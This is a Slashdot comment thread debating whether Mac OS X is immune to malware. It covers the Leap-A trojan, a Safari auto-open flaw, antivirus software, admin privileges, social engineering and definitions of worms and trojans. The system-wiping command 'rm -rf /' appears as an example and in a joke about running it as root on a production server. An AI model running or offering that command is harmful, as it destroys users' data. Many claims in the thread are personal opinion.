      I'm not so sure that macosx was designed with security in mind. Yes, it is possible to create a somewhat secure operating system based on unix, but it is so very tempting to breach some of that security in the name of user friendliness.

    9. Re:They could report a worm a day ... by tomhudson · · Score: 2

      Totally irrelevant to what I had posted. Also, again, they already know that their new code is also going to be just as subject to viruses as their old code was - that's why they're including an anti-virus. Microsoft can't make a reasonably secure operating system. Its not part of their culture, nor part of their technical capabilities.

      1. Windows - "You won't have to worry about viruses when running Windows - only DOS programs are affected."
      2. Windows 95 - "You won't have to worry about viruses with our new 32-bit operating system."
      3. Windows XP - "You won't have to worry about viruses with our new NT-based operating system."

      Vista is going to be holier than swiss cheese, and Microsoft already knows it. Thats why they're working so hard to make the patching process easier - its going to be needed just as much. Ditto for including an anti-virus. Because they can't fix the underlying code. It was crap in 1982. Its still crap today.

    10. Re:They could report a worm a day ... by moof1138 · · Score: 1

      >but how does Apple deal with bugs in Mac OS 8 and Mac OS 9?

      They released OS X to deal with the security nightmare of OS 9 (and prior).

      Basically once you booted OS 9 (and prior) you were root. They added a feature to give you a login window, but once you were in and could launch an app you owned the machine. Since OS 9 didn't respect filesystem privileges locally (only via sharing), anyone at the console owned every file on the machine. Since OS 9 did not have any memory protection, once you launched an app, you could write to any part of the memory, your app, another app, the system, whatever. There were a lot of old Mac OS viruses that were released, they predominantly were not fixed with software updates, but with anti-virus software.

      --

      Hyperbole is the worst thing ever.
  3. Immune? by east+coast · · Score: 1, Interesting

    Macs have been laregly immune to the viruses, worms and malware

    Just because no one has exploited a system doesn't mean it doesn't have exploits. I know about a month ago this came up in an article about how OSX/Linux users could face issues because they felt to secure. Hopefully they will be able to cut this off at the quick but don't think that running an "obscure" OS makes you safe. How many Mac users today run anti-virus software?

    --
    Dedicated Cthulhu Cultist since 4523 BC.
    1. Re:Immune? by SpooForBrains · · Score: 4, Insightful

      but don't think that running an "obscure" OS makes you safe

      *sigh* We don't. We think running an operating system with proper security makes us safe.

      --
      "The dew has clearly fallen with a particularly sickening thud this morning"
    2. Re:Immune? by IAmTheDave · · Score: 1

      Or, you know, nicer software, better user interface, less learning curve for the parents and grandparents, better hardware, better industrial design, "UNIX inside ©" etc. IMHO, of course.

      --
      Excuse my speling.
      Making The Bar Project
    3. Re:Immune? by tomhudson · · Score: 1

      How many Mac users today run anti-virus software?

      Running anti-virus software is a stupid thing to do when you can FIX the system instead.

      Just because Microsoft is at the "fix one bug, re-create another" stage doesn't mean Apple has to go the same road.

      An analogy - would you rather eat fresh, properly prepared food, or moldy infested crap and a megadose of antibiotics? (I would have used the "would you rather have sex with someone who isn't infected with HIV, or someone who is, but you take *precautions*", but this is slashdot ...)

    4. Re:Immune? by gerddie · · Score: 1

      How many Mac users today run anti-virus software?

      I installed ClamXav, since it was required that an anti-virus program was installed on my laptop, befor I could plug it into the company net.

    5. Re:Immune? by antifoidulus · · Score: 1

      Exactly. Even as a mac user I shudder when I hear the phrase, "more secure". How can you quantify security. I would consider it to be a binary measure, either you are secure or you aren't. And the answer is you are not.
      Basically it all comes down to being smart when using your computer. First and foremost is never run anything in any sort of admin mode unless absolutely necessary. Most mac users create an admin account and use it for everything they do(and I hate to admit I am one of those), that is just asking to be attacked. Don't open random email attachments. Don't go to web sites that could be of questionable character. And, of course, always stay educated.
      As an aside, I would also recommend using two different browsers. If you find out there is a security threat to Safari, switch to Firefox till the patch at least. And of course visa-versa. It also never hurts to have those different browsers on your system in case a web page you need to access isn't compatable with one but is with the other. I even had to use IE to access a site on my mac(yeah, I know I shouldn't have as a geek, but they had cheap health insurance and I was hard up for cash at the time)

    6. Re:Immune? by hawkmoon77 · · Score: 1

      Right on... Is it an "immunity" because no one bothers to write viruses? Think of it: If you are a an evil software programmer, and you want to torment as many computer users as possible, do you write a program that affects 97% of the computers, or 2% of them. I wonder... and I hope this is not construed as flamebait here, but seriously. What would be the consequence of having a highly popular OPEN SOURCE OS in terms of security and hackability?

    7. Re:Immune? by theAtomicFireball · · Score: 2, Insightful
      How many Mac users today run anti-virus software?

      Hopefully very few. With the current state of affairs, anti-virus software for the Mac is a case of the cure being much worse than the disease. Even these recently discovered worms and the Safari vulnerability are relatively benign and can be protected against with a little common sense. In fact, most users hopefully are already safe from the Safari vulnerability since the "Open Safe Files" option was already the source of another vulnerability a while back.

      By the time these vulnerabilities make it into the virus definitions, they are old hat. Plus, at least one *cough* Norton *cough* anti-virus for the Mac actually introduces a considerable number of new security vulnerabilities to the OS.

      Sure, running anti-virus software on our machines will catch all those old Windows exploits but I'm not compromising my system to protect somebody else who didn't bother taking steps to protect their own machine... sorry.

      If/When we start to see a critical mass of malicious viruses, trojans, or other malware targeted at the Mac that aren't stopped by common sense practices, then I'll look into Anti-Virus software... no sooner. Yeah, perhaps there's some risk in doing that, but far less risk than with running anti-virus software right now.
    8. Re:Immune? by Anonymous Coward · · Score: 0
      What would be the consequence of having a highly popular OPEN SOURCE OS in terms of security and hackability?
      Something like Linux + Apache, you mean ... ?
    9. Re:Immune? by somersault · · Score: 2, Insightful

      yep, the last exploit relies on people to be morons and try to open an apparent 'picture' from a random spammer, or a strange website/whatever. Which could happen with any OS. Except if the user isn't running with full admin priveleges then they are going to be fine anyway..

      --
      which is totally what she said
    10. Re:Immune? by Biff+Stu · · Score: 1

      What exactly does Mac anti-virus software do? There are still no real self-propagating malicious worms on the platform. Yes, AV software can check for a couple of Trojans and the usual collection of Office macro viruses, but I can avoid that stuff without AV software. Even if something really serious breaks out, the software won't do a damn bit of good until the anti-virus companies update their definitions. When there is a serious threat and the software actually blocks the threat, I will fork over the cash and get some AV software. (Well, actually, given the utter lack of quality of Symantec software on the Mac platform, I am much more likely to get ClamAV and save a few bucks.) Until then, I will forgo the cost and performance hit associated with an AV package.

    11. Re:Immune? by east+coast · · Score: 2, Insightful

      Running anti-virus software is a stupid thing to do when you can FIX the system instead.

      What's the phrase? There is no patch for human stupidity?

      Go ahead, be smug about it. But the bottom line is that as Mac becomes more popular you're going to have idiots who are going to let thing thru simply because they don't understand what they're doing. Do you really think that Windows user who keep their systems up to date and use a bit of common sense are the ones you're reading about? Windows is insecure in a lot of aspects, sure, but a Windows user with a dose of common sense and some knowhow aren't suffering as much as the normal MS bashing article here would have you think.

      --
      Dedicated Cthulhu Cultist since 4523 BC.
    12. Re:Immune? by Cyno · · Score: 1

      Alright then, what OS makes us safe?

      I know OSX is safed by default than Windows. Its even safer than some Linux distros. That's not too shabby. I recommend an OS preconfigured with sane defaults like OSX or OpenBSD for computer illiterate users who want to access the internet. One could argue OSX is far more userfriendly than OpenBSD, atm, but some Linux distros are almost within their reach..

      If we recommend sane defaults maybe we can get some sleep at night, huh?

    13. Re:Immune? by IamTheRealMike · · Score: 3, Insightful
      No they aren't. You don't need admin privs to relay spam, hijack a web browser or force yourself to load at startup, which are just some of the things malware gets up to.

      I haven't seen any compelling evidence that Linux or MacOS X are more secure than Windows is against the twin threats of malicious software and badly trained users. They're all based on similar security ideas, which just don't cut the mustard. A better security model does exist, but it's not implemented in any desktop operating system today.

    14. Re:Immune? by TClevenger · · Score: 1

      I run antivirus software in Windows because Microsoft has unpatched bugs in their operating system that allow my machine to be infected by doing nothing other than being on a network, or, if I were using their browser, simply mistyping a URL and getting a malicious site, with no other intervention on my part. The only way my Mac will be infected is if I'm stupid enough to open up a file without vetting it first and type in my password when prompted. That's the difference in security between OS X and Windows.

    15. Re:Immune? by RingDev · · Score: 1

      It's all about the Market Share. The larger the market share, the more people will take shots at you. So while security through obscurity is not truely secure, it does reduce you likelihood of being hacked.

      -Rick

      --
      "Most people in the U.S. wouldn't know they live in a tyrannical state if it walked up and grabbed their junk." - MyFirs
    16. Re:Immune? by hawkmoon77 · · Score: 1

      Yes.

    17. Re:Immune? by Anonymous Coward · · Score: 0

      "UNIX inside ©"

      *sigh* Actually, no. Apple made it clear over and over that it's UNIX-like. They did not license the UNIX trademark and bolting a few bits from FreeBSD on top of a Mack kernel and adding some userland tools (old ones, at that) does not a UNIX make (as in, giving you the rights to call it UNIX ©, ®, TM, etc.)

      I wish some of you vocal OSX fans would get that through your skulls and sto this "UNIX under the hood" stupidity - or at least replace it with "sorta-UNIX under the hood"

    18. Re:Immune? by somersault · · Score: 1

      well it sounds like your malicious software and badly trained users require people to actively mess up their systems, whereas I consider bad security to be a machine that when left to its own devices, will end up with malware or a virus. Even with the most secure system in the world, if you have someone stupid enough to download and run an executable, and they have enough privileges enough to delete all their probably-not-backed up files, then poorly informed users are still going to have problems. The fight against social engineering would require common sense and a little basic knowledge of computers.

      --
      which is totally what she said
    19. Re:Immune? by vertinox · · Score: 1

      I know about a month ago this came up in an article about how OSX/Linux users could face issues because they felt to secure.

      I dunno. How many Mac/Linux users still open attachments from strangers just because they can and say "HA HA! You couldn't do this on a Windows PC without getting infected by a virus! Now I shall post in the forums about my little adventure of opening unsafe attachments!"

      Seriously, most people are going on about this like Linux and Mac users like to browse google looking with the search phrase "infect my computer with a virus" and then try to open as many of these files as possible to prove the world they have a secure system or something.

      --
      "I am the king of the Romans, and am superior to rules of grammar!"
      -Sigismund, Holy Roman Emperor (1368-1437)
    20. Re:Immune? by norman619 · · Score: 1

      There is no such thing as "proper security." I get so tired of hearing people who hate MS trash it's OS only based on their irrational hatred of the company. None of the stuff we deal with as Windows users has nothing to do with weak code. It's more like we are paying the price for using the most used OS on the planet. The price is having to deal with the OS creator's constant updates to battle hackers and crackers. This stupid idea people seem to have that the OS should be bullet proof is crazy. There will never be a "secure" OS in the way people wish they could have it. Where will always be people to find flaws in code to exploit.

    21. Re:Immune? by truthsearch · · Score: 1

      That is generally true. But Microsoft's most fundamental security problem is average users running with admin privileges. I do agree that on all systems we need a more modern security model.

    22. Re:Immune? by Anonymous Coward · · Score: 0

      Then you're kidding yourself.

    23. Re:Immune? by Senzei · · Score: 1
      I run antivirus software in Windows because Microsoft has unpatched bugs in their operating system that allow my machine to be infected by doing nothing other than being on a network, or, if I were using their browser, simply mistyping a URL and getting a malicious site, with no other intervention on my part.

      You should be using a firewall, and switching away from internet explorer would help there. XP SP2 has the firewall enabled by default, and it takes a lot less to install a different browser than it does to switch operating systems.

      If the only reason you moved to a Mac was because of some nebulous guarantees of security you paid a lot of money for some sensible defaults and false hopes.

      I will admit that it takes a lot to make a windows system dummy-safe (dummy-proof is simply impossible) but I still maintain that the dummy part of it is the true problem.

      --
      Slashdot: Where anecdotes and generalizations can be freely substituted for facts, logic, or intelligence
    24. Re:Immune? by shotfeel · · Score: 1

      Yes, its pretty hard to have a system that's immune to an admin user explicitly downloading an app, running the app, and typing in their password when the app requests it -including possibly going through several warnings.

      If they're going to do that, there's not a whole lot that can be done.

    25. Re:Immune? by shotfeel · · Score: 1

      I wish I could find the survey that was done a while back where a huge percentage of Mac users reported that a virus had been detected on their system.

      Shock! Horror! What's a Mac user to do?

      Oh wait, those were Windows viruses that had been detected in their email. That's what Mac anti-virus software does -same as on Windows boxes, its searches for signs of Windows malware.

    26. Re:Immune? by ryanjensen · · Score: 1

      What good is a computer left to its own devices? There are very few computers in use that are useful when not used. The moronic user factor *is* an aspect of computer security, and often having a secure system means protecting against things that users do -- intentionally or not.

    27. Re:Immune? by Anonymous Coward · · Score: 0
      [i]...better hardware[/i]

      Sadly,this just isn't the case any longer, now, is it?

    28. Re:Immune? by Nugget · · Score: 1

      I'll happily concede your point (well, except Apple likes saying "UNIX-based", not "UNIX-like") if you can explain to me why it matters at all.

      The Open Group's attempts to keep the term UNIX as their Trademark is certainly not a technical issue, it's just a licensing issue -- they don't want to lose the revenue they get from controlling the term. From a technical, practical, and pragmatic perspective it has virtually no impact on an end user.

      While I can't disagree with the facts behind your point, I sure don't understand from where you are drawing the frustration and vehemence you demonstrate over the issue. At least we do both agree that the subject is "stupidity."

    29. Re:Immune? by east+coast · · Score: 1

      Alright then, what OS makes us safe?

      Actually, I think my point is mistaken from the responces I've gotten back. I was trying to ask legitimate questions and got a bunch of crap for it...

      Oh well, I guess Mac users are that smug about it. We'll see what happens in time.

      In the meantime I don't think there is a safe OS because as I mentioned somewhere downthread that there are enough idiot users out there who basically put these problems on themselves.

      --
      Dedicated Cthulhu Cultist since 4523 BC.
    30. Re:Immune? by adam.dorsey · · Score: 1

      None of the stuff we deal with as Windows users has nothing to do with weak code.

      So, everything we deal with has to do with weak code?

      --
      You are still innocent until proven guilty. What's changed is what they do to innocent people. - notnAP, #26891325
    31. Re:Immune? by shotfeel · · Score: 1

      I know about a month ago this came up in an article about how OSX/Linux users could face issues because they felt to secure.

      There was a similar article the month before that. And the month before that. There have been articles like that since Macs ran OS 8. I think most Mac users feel more secure because they are more secure. They also are aware that this doen not mean they are immune and that their are vulnerabilities.

      How many Mac users today run anti-virus software?

      Not many who aren't required to by company policies. And there's nothing wrong with that. It would be the equivalant of being immunized againt a strain of the bird flu that's never been seen in the wild.

    32. Re:Immune? by TClevenger · · Score: 1

      The reason I moved to a Powerbook (used, at a very reasonable price) is that it does everything I need it to do right out of the box (i.e. email, web, sleep and wake reliably, and communicate with my Linux servers,) and I have to worry less about keeping up with patches, purchasing antivirus software, etc.

    33. Re:Immune? by somersault · · Score: 1

      well I work with lots of computers that I would prefer ran well left to their own devices, our file servers, license server, email server, web server.. lots of servers. I know that the moronic user factor is an aspect, and in that case, users should not be given admin priveleges unless they choose to, or know how to. If they then do grant themself permanent admin access, they shouldnt be bothered by lots of popups. I like how Kubuntu does this, asks you for the root password when you need access to make important changes to the system, and then doesnt complain to you after that 'oh are you really sure you want to click that button, I'd be wary of it if I were you, I mean you really dont know what could happen'. Meh. Maybe Vista should have a 10 question multiple choice quiz for users to answer every time they log on, or check their email, to make sure they arent idiots.

      --
      which is totally what she said
    34. Re:Immune? by Anonymous Coward · · Score: 0

      That's silly. The entire point of nearly every posting here is that OS X
      IS "a 'secure' OS in the way people wish they could have it"

      And you totally miss the point with the comment about finding flaws
      in the code. Of course there are flaws. The issue is the security model.
      OS X doesn't have a perfect security model, yet, but windows doesn't
      have any.

      UNIX has been a huge target for 25 years. All the stupid holes are closed.

    35. Re:Immune? by c_forq · · Score: 1

      Apple made it clear over and over that it's UNIX-like
      Try again, Apple says many times that it is UNIX based, using the all caps UNIX all over the page.
      http://www.apple.com/macosx/features/unix/
      From above link: "Beneath the surface of Mac OS X lies an industrial-strength UNIX foundation".

      --
      Computers allow humans to make mistakes at the fastest speeds known, with the possible exception of tequila and handguns
    36. Re:Immune? by Richard+Steiner · · Score: 1

      Most of the problems I have with Microsoft code in a security context has to do with the implementation of asinine ideas like "executable files" in e-mail clients.

      *NO* e-mail client should allow the direct execution of a file, be it a program, a macro, or a shell script. The concept of saving an attachment and then explicitly running it later is not a difficult one, and folks who cannot handle that basic sequence of tasks should not be allowed to run such things in the first place.

      --
      Mainframe/UNIX Bit Twiddler and long time Windows/Linux Hobbyist.
      The Theorem Theorem: If If, Then Then.
    37. Re:Immune? by jedidiah · · Score: 1

      No, I trash MS based on my RATIONAL hatred of the company. They are in a dominant position to abuse their power for productive purposes and choose not to do so. They continue to do as little as they can manage to get away with and ignore the good advice of THE REST OF THE INDUSTRY.

      Microsoft EARNED it's hatred, fair and square.

      They make software that does obviously stupid stuff and apparently don't care because they aren't in a position to need to compete for their end users.

      --
      A Pirate and a Puritan look the same on a balance sheet.
    38. Re:Immune? by CableModemSniper · · Score: 1

      Re: Handle Security. You've just reinvented the wheel. Congratulations. Here's an example of an attempt to bring this model to the world of general-purpose computers: http://www.coyotos.org/

      --
      Why not fork?
    39. Re:Immune? by jedidiah · · Score: 1

      Robust operating systems are designed accounting for the fact that the end user might be malicious or stupid and thus do something to shoot themselves in the foot. People that thoughtfully pander to novices realize that such novices might infact do something boneheaded. They engineer accordingly.

      Reduced subseptability to someone else's stupidity or malice is reduced considerably once you consider the damage that might be done by someone with a legimate access to the machine.

      You don't assume your customer is an idiot and then go and build a 10 story staircase with no railing.

      --
      A Pirate and a Puritan look the same on a balance sheet.
    40. Re:Immune? by AnalystX · · Score: 1

      "How can you quantify security."

      It's pretty easy actually. Security is quantified the same way everyday, whether physical or electronic/computer: the time or energy expended to get in to a system or stronghold. That can be measured in man-hours, bytes of code or lines of code, milliseconds of CPU time, etc.

    41. Re:Immune? by plate_o_shrimp · · Score: 1
      I would consider it to be a binary measure, either you are secure or you aren't. And the answer is you are not.
      Sounds like MS's approach -- it can't be 100% secure, so why bother trying at all? ;-)

      Seriously -- it's clearly NOT a binary proposition. Are you saying that a machine (any machine) with no passwords, all ports open, no authentication, etc, is equally secure as one that is locked down with every trick you know?

      How's this analogy: If you had a bag with $1M in it (and a sign on it that say "$1M inside"), would you say that it's just safe in the passenger seat of a convertible as it is in the back of an armored car? Neither is 100% secure.....
      --
      This sig has exceed its monthly bandwidth allotment.
    42. Re:Immune? by amliebsch · · Score: 1
      The issue is the security model. OS X doesn't have a perfect security model, yet, but windows doesn't have any.

      Huh? You might want to think about upgrading from Windows 98. The NT line has a great security model that hardly anybody uses.

      --
      If you don't know where you are going, you will wind up somewhere else.
    43. Re:Immune? by bnenning · · Score: 1

      How can you quantify security. I would consider it to be a binary measure, either you are secure or you aren't.

      That's just wrong. My apartment is "not secure"; even a marginally motivated burglar could break in and abscond with my belongings. But I'm still going to lock the door when I leave.

      --
      How to solve most of our problems: 1.Lots of nuclear plants. 2.Cure aging.
    44. Re:Immune? by bill_mcgonigle · · Score: 1

      Just to be clear, this is exactly what Safari does.

      Apple should have learned this lesson with the QuickTime worm.

      --
      My God, it's Full of Source!
      OUTSIDE_IP=$(dig +short my.ip @outsideip.net)
    45. Re:Immune? by swillden · · Score: 1

      FreeBSD on top of a Mack kernel

      A Mack kernel? Are you sure about that? I heard they went with Freightliner.

      --
      Note to ACs: I usually delete AC replies without reading them. If you want to talk to me, log in.
    46. Re:Immune? by PsychoSid · · Score: 1
      How many Mac users today run anti-virus software?

      Wee I run the Intego Virus Barrier stuff even though I have locked my Mac down tighter than a nun's backside. But my company will only let me VPN from a non-Windows box if I can say I have anti-virus software in place...I ask you

    47. Re:Immune? by geekee · · Score: 1

      "*sigh* We don't. We think running an operating system with proper security makes us safe."

      We who live in the real world know no such thing exists short of unplugging from the network.

      --
      Vote for Pedro
    48. Re:Immune? by IamTheRealMike · · Score: 1

      I knew there'd be a proper name for it, thanks. And obviously, I didn't "invent" any of that stuff, I'm just reporting my experiences with J2ME development.

    49. Re:Immune? by Richard+Steiner · · Score: 1

      If Safari behaves similarly, then Apple is just as guilty. Me, I just use Pine for e-mail in spite of the platform(s) involved. :-)

      --
      Mainframe/UNIX Bit Twiddler and long time Windows/Linux Hobbyist.
      The Theorem Theorem: If If, Then Then.
    50. Re:Immune? by drsmithy · · Score: 1
      We don't. We think running an operating system with proper security makes us safe.

      OS X has no more "security" than Windows (less, if anything).

    51. Re:Immune? by Anonymous Coward · · Score: 0
      You don't need admin privs to relay spam, hijack a web browser or force yourself to load at startup, which are just some of the things malware gets up to.

      Ah, that's the big bad one, isn't it. Forced loading is really what keeps malware alive. Except *nix systems should not, in fact, be vulnerable to that, as long as the malware doesn't have admin priviliges. Lets say my Linux box contracts a new, Linux version of CoolWebSearch. Damn, that sucks. You know what I do? I log in, not as myself, but either as another user or root, locate the damn thing and delete it.

      See? The simple security model triumphs over the most important piece of malware evil.

      A better security model does exist, but it's not implemented in any desktop operating system today.

      There are several problems I have with you're blog post. They're really just little things, you make good points, but the basis upon which you smear PCs is a little odd. You say there are 700 million J2ME phones, and state that the lack of malware is indicative of a better overall security model. Still, J2ME versions are largely incompatible (which you admit), and hardly anybody tinkers with phone software. This, while a variation on the 'security through obscurity' argument, is a valid point.

      There is a giant, visible homebrew community for PCs, and always has been. While I'm sure there is a homebrew phone community, I have never stumbled across one, and I've always been under the impression that the phone companies would be against such a development, as it would hurt the lock-in that allows them to charge outrageous prices for custom ringtones, etc.

  4. not a worm or a virus! by minus_273 · · Score: 5, Informative

    seriously if you have to manually download the program and enter your admin password, it is not a virus or a worm. I dont know why people keep calling it that. It is a Trojan and those have existed since the first rm -rf / script.

    --
    The war with islam is a war on the beast
    The war on terror is a war for peace
    1. Re:not a worm or a virus! by TeacherOfHeroes · · Score: 1

      How hard would it be to convince some average uses that the worm/virus/trojan that they're downloading is actually an amazing tool to "tweak" some aspect of their computer's performance (internet/speed/ram/etc...)?

      Any such program could say that it just needs you to enter your password so that it can perform its miracles on your system, and let you have a faster compurer without paying for it.

      Everyone wants something for free, and there are enough average users that don't know any better.

      The social engineering snake-oil approach that will get people if the security hole doesn't

    2. Re:not a worm or a virus! by skinfitz · · Score: 1

      In that case you just shaved several thousands off the present number of Windows viruses as most 'viruses' these days are actually malware attached to emails.

      Personally I would call them a 'viral trojan'.

    3. Re:not a worm or a virus! by minus_273 · · Score: 1

      you can't really patch social engineering and it isnt the fault of the OS is it? I am sure there are things apple can do to limit the damage, but once a person has entered the password voluntarily in sudo, there is really not much you can do to stop it.

      --
      The war with islam is a war on the beast
      The war on terror is a war for peace
    4. Re:not a worm or a virus! by AKAImBatman · · Score: 4, Insightful

      How hard would it be to convince some average uses that the worm/virus/trojan that they're downloading is actually an amazing tool to "tweak" some aspect of their computer's performance (internet/speed/ram/etc...)?

      The difference between the security hole approach and the social engineering approach, is that the latter starts and ends with stupid users. The worm cannot force its way onto the computers of more savy users like the RPC worms in Windows did. Instead, it will set off a huge number of warning flags with more experienced users, and perhaps prompt them to take action to clean other user's computers or encourage them not to run anything that asks for their password.

      The end result is that such viruses could not spread as fast or as far as their Windows counterparts.

    5. Re:not a worm or a virus! by Anonymous Coward · · Score: 0

      If malware runs without user intervention, it's a Trojan, no matter what platform. Code Red, on the other hand, is not a Trojan, it's an honest to god Worm, and is STILL ubiquitous.

    6. Re:not a worm or a virus! by Anonymous Coward · · Score: 0

      The antivirus companies that drive and benefit from the hysteria over Windows viruses (and are likely behind many of them) have widened their definitions greatly over the last few years. The change in definitions accounts for a large portion of the increase in Windows attacks that they've been able to manufacture. And they appear to have finally decided to launch their campaign to penetrate the Mac and the cell phone markets. Papers and talks have appeared and been neatly timed with these worms/viruses or whatever you want to call them to try to stoke the spark into a real flame. They must have products ready or close to ready to roll. If the spark doesn't catch this time, there will simply keep sparking until they find the formula necessary to start the panic. Billions of dollars are at stake.

    7. Re:not a worm or a virus! by that+_evil+_gleek · · Score: 1

      And if that trojan contains a virus or a worm, it's a "dropper".

    8. Re:not a worm or a virus! by skinfitz · · Score: 1

      If malware runs without user intervention, it's a Trojan, no matter what platform.

      I think you meant to say 'virus' there, and I agree. With user intervention however, we have what I am calling a 'viral trojan'.

    9. Re:not a worm or a virus! by TeacherOfHeroes · · Score: 1

      Thats my point though. If everyone suddenly switched from windows to OS X, then you're going to have some of the same problems. You may not have worms cloging the internet like you do now, but chances are you'll still have to routinely clean up your neighbours/friends/relatives computers because of the nasty stuff that came in through the front door.

    10. Re:not a worm or a virus! by foniksonik · · Score: 2, Insightful

      Granted it's a trojan, but it's a Trojan that is being passed virally... ie: once downloaded by the first ignoramus, it attempts to re-distribute itself via Address Book (the equivalent of Outlooks contact list) and iChat (IM messenger app with hooks into AOL, .Mac and Netscape) whereby it becomes a virally transmitted trojan so that other victims can proceed to clicky-click it, thinking it is from a trusted source and thereby starting the process over... with their Address Book of targets...

      Pretty nasty IMHO... I've turned on 'view all extension' and recommend all Mac users do the same until a patch is released (which I think should be as simple as a 'binary flag' or something similar that identifies an executable regardless of it's name, icon, extension or whatever... AND to buy or reimplement "Little Snitch" which is an awesome tool for letting you know when something is trying to access an outgoing port and gives you the option of allowing or denying it.... it may not stop you from getting a virus/worm but it will help you become aware of it and give you the option of containing it.

      --
      A fool throws a stone into a well and a thousand sages can not remove it.
    11. Re:not a worm or a virus! by arminw · · Score: 1

      .....'viruses' these days are actually malware attached to emails.....

      Except that opening the file on a Mac will not automatically install malware without asking for a password. All but totally stupid Mac users already know that opening a media file should not require for them to type a password. Turning of the Safari auto open capability and setting Mail to only display plain text messages makes opening mail and surfing the web much safer. None of our Mac users know the admin password and that gives another big boost in security over what Windows users have, many of which must run as admin.

      --
      All theory is gray
    12. Re:not a worm or a virus! by Afecks · · Score: 1

      I have this wonderful program call ProcessGuard that can prevent any non-authorized application from being executed and you can require a password to modify the settings. It doesn't matter if you run as admin or not.

      But getting back to the topic, yes this is a worm BY DEFINITION.

      See my previous post for an explanation on that...

    13. Re:not a worm or a virus! by skinfitz · · Score: 1

      ...regardless of the user action required, my statement stands.

      There was one 'virus' on Windows that to bypass virus scanning email gateways arrived as an encrypted zip file with the password supplied in the email promising the usual - pr0n etc. It required the regular know nothing user to decrypt the zip using the supplied password (it supplied instructions describing the process) and then execute it. Despite this people still got infected.

      Some people seem to think that because OSX may ask for a password on execution (Leap-A did not require a password in all cases) does not render the OS 'immune' to users. The majority of users are stupid, and as such are the weakest link in any system which is the real problem.

    14. Re:not a worm or a virus! by djdole · · Score: 1

      Granted a trojan is not necessarily a worm, but a trojan definitely IS a virus.
      Trojans are a SUBSET of viruses that don't always self-replicate, but that lie in wait until some condition arises to activate the code to deliver its payload.

      Even calling these Mac viruses "trojans" is quite a stretch, because installing it by entering an admin password, or running the executable is not enough to be able to call this a trojan. If it were enough, then we'd have to categorize ALL viruses as trojans because they are "activated" by being installed, or are activated by installing itself, or been activated by discovering an open port etc,
      and so had lied in wait on someone else's system for the opportunity to attack our machine.

      But regardless of whether or not the Mac virus is a trojan, saying a trojan isn't a virus is like saying a Lion isn't a cat.
      It's still a virus, but with additional specific characteristics that differentiate it from viruses in general.

    15. Re:not a worm or a virus! by WhiplashII · · Score: 1

      If only this were true. It turns out that a certain percentage of the sysadmins will also run the virus (and smack their heads right afterward) - and it's not really based on competence level, its just human nature. Social engineering really works, even when people know better - that's why it's so hard to defend against.

      --
      while (sig==sig) sig=!sig;
    16. Re:not a worm or a virus! by Dausha · · Score: 4, Funny

      "It is a Trojan and those have existed since the first rm -rf / script."

      I don't get it. I tried running the "rm -rf /" script, and got nothing. I tried it again as root. It just sat there and worked patiently for a few minutes before returning a prompt. Was it supposed to do something cool? If so, maybe I should have run it on a desktop instead of the production server? Any hints at what I did wrong?

      Maybe I should try it on my Windows machine next? Shouldn't I type "C:\" instead? Or, is this script not that portable?

      --
      What those who want activist courts fear is rule by the people.
    17. Re:not a worm or a virus! by Beryllium+Sphere(tm) · · Score: 1

      SANS says it's an automatic download in Safari though it should still need the administrator password. I can't get the Mac away from my wife long enough to run the demo with an inert payload,

      I see Apple's mistake as being to offer the "Open Safe Files After Download" feature. Do that, and you commit yourself to identifying safe files. It's not enough to have a robust algorithm. It's not enough to be foolproof. Not on a huge network full of clever and hostile people.

    18. Re:not a worm or a virus! by pilkul · · Score: 1
      a certain percentage of the sysadmins

      The incompetent ones? Seriously, I have no respect for a sysadmin who upon receiving an unsolicited attachment, even if it looks useful, doesn't at least examine it very carefully for clues of trojan-ness (going up to googling phrases in it) before opening it. Security is their job!

    19. Re:not a worm or a virus! by m50d · · Score: 1
      The end result is that such viruses could not spread as fast or as far as their Windows counterparts.

      I think you overestimate users. I get "Install this critical update from Microsoft" emails at a rate of around two per second. Basic html mockup and an attached executable, obvious as pie, but they're being sent out by someone. There are plenty of stupid users around.

      --
      I am trolling
    20. Re:not a worm or a virus! by Mac+Scientist · · Score: 1

      Stop the presses! Big news! There's a new "virus", capable of attacking all computer systems and not only breaks into your computer, but your friends' and your bank's as well!!!

      "You too can get rich! I'll transfered all the money from a Nigerian general's account into yours! Simply download my instruction file, open it up, and follow all the directions by giving me your computer ID and password, and while you're at it, your bank account number and password as well. Have any friends you'd like to help out? Email them this instruction file and live like kings!"

      Hah! Dopey is as dopey does.

    21. Re:not a worm or a virus! by NeoOokami · · Score: 1

      It'd be easy! Of course if you're downloading things from untrusted sources, and pirating definitely pushing the shady potential a little higher up; what kind of protection COULD help this user? The answer, none other than crippling the system from the user standpoint. At this point the only hope is education. Something even more difficult to sell.

    22. Re:not a worm or a virus! by 99BottlesOfBeerInMyF · · Score: 1

      How hard would it be to convince some average uses that the worm/virus/trojan that they're downloading is actually an amazing tool to "tweak" some aspect of their computer's performance (internet/speed/ram/etc...)?

      This is a very important point. While right now automated worms that do not rely upon any social engineering or human interaction are the bulk of the problem, it is possible that there will come a day when the user is the weakest link and social engineering and trojans are the biggest threat. It is important to note that right now this is not the case, on Windows especially. It is also the job of the OS to have default permissions in fine enough detail and with a good enough UI so that the user has the tools they need to address this problem.

      Here is the proper behavior of a well written OS to a trojan such as you describe. As a new executable it is automatically contained within a jail, VM, or ACL. This grants it no access to any files it does not itself create, no direct (unfiltered) access to hardware, and no access to the internet. When the user runs the executable (which they believe is a "tuning" program) the OS makes it clear that it is an application with visual cues and the OS warns the user that this is the first time this executable has been run and asks if the user really wants to run it. The OS also presents any organizations/bodies that have reviewed the software and certify that it meets some criteria.

      The process does not, however, end there. When run the OS warns the user that the program would like access to the internet and provide basic information about the communication manner. Since the program has no access to any files it could send your IP address along somewhere, but that is about it. In order to gain access to any files the program would have to specifically ask for access to those files. Even more strongly worded warning again appear and require a choice by the user to access the root level files, the buddy list, the e-mail address book, etc. The same goes for any other unusual behavior like access to the keyboard input when other programs are in the foreground.

      Does this completely solve the problem? No. But it solves about 99% of the problem and until all this low hanging fruit is gathered there is no point in trying to do a lot of user education. Give users the right tools to keep their machines secure and then worry about educating them on the last little bit of the pie.

      VMs and jails have come a long way in the last few years and are beginning to enter the mainstream. What is still needed is the integration, good defaults, and good GUI. My money is on Apple to do it right first, but I could be wrong. MS may beat them to the punch, and OpenBSD or one of the secure Linux's is not out of the running.

      In summary, yes, trojans+social engineering are a concern. No, they aren't the biggest concern right now and no they aren't an unsolvable problem. If only OS vendors will solve the problem and move on.

    23. Re:not a worm or a virus! by 99BottlesOfBeerInMyF · · Score: 1

